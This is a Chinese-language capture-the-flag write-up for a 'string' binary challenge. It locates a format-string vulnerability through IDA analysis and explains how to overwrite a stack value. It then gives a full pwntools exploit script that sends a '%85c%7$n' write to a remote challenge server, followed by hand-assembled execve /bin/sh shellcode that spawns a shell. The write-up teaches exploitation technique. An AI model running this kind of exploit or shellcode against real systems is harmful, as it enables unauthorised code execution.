0x01寻找漏洞
-checksec
-在IDA中对文件进行分析。
查看sub_400CA6时发现一条语句。
执行这条语句的条件是*a1 == a1[1],a1为传入的参数,回溯发现a1即sub_400D72函数传入的v4,而v4 = (__int64)v3,其中
*v3 = 68; #即v3[0] = 68;
v3[1] = 85;
也就是说要使a1 == a1[1],则需要v3 == v3[1]。
继续往下找办法修改v3[0]为85。
一直查看到sub_400BB9函数,发现printf处存在格式化字符串漏洞,可以进行任意地址写,所以我们需要找到v3[0]的地址。
0x02利用思路
根据程序执行流程进行输入
跳出,进入sub_400BB9函数。
由函数调用约定可知,在64位程序下,前六个参数从左到右放入RDI, RSI, RDX, ECX, R8, R9中,利用格式化字符串漏洞,进入脆弱点,写入shellcode
...[overwrite addr]....%[overwrite offset]$n
其中... 表示我们的填充内容,overwrite addr 表示我们所要覆盖的地址,overwrite offset 地址表示我们所要覆盖的地址存储的位置为输出函数的格式化字符串的第几个参数。所以一般来说,也是如下步骤
- 确定覆盖地址
- 确定相对偏移
- 进行覆盖
所以从n = 7开始,我们可以修改栈中的数据为85。
0x03exp
#!usr/bin/python
from pwn import *
io = remote('111.198.29.45', 56593)
# io = process('./string')
io.recvuntil("secret[0] is ")
v3_0_addr = int(io.recvuntil("\n")[:-1], 16)
log.info("v3_0_addr:" + hex(v3_0_addr))
io.recvuntil("character's name be:")
io.sendline("kk")
io.recvuntil("east or up?:")
io.sendline("east")
io.recvuntil("there(1), or leave(0)?:")
io.sendline("1")
io.recvuntil("'Give me an address'")
io.sendline(str(v3_0_addr))
io.recvuntil("you wish is:")
io.sendline("%85c%7$n")
# shellcode = asm(shellcraft.sh()) #生成的shellcode攻击失败,所以使用反汇编的shellcode
shellcode = "\x6a\x3b\x58\x99\x52\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x53\x54\x5f\x52\x57\x54\x5e\x0f\x05"
io.recvuntil("USE YOU SPELL")
io.sendline(shellcode)
io.interactive()















网友评论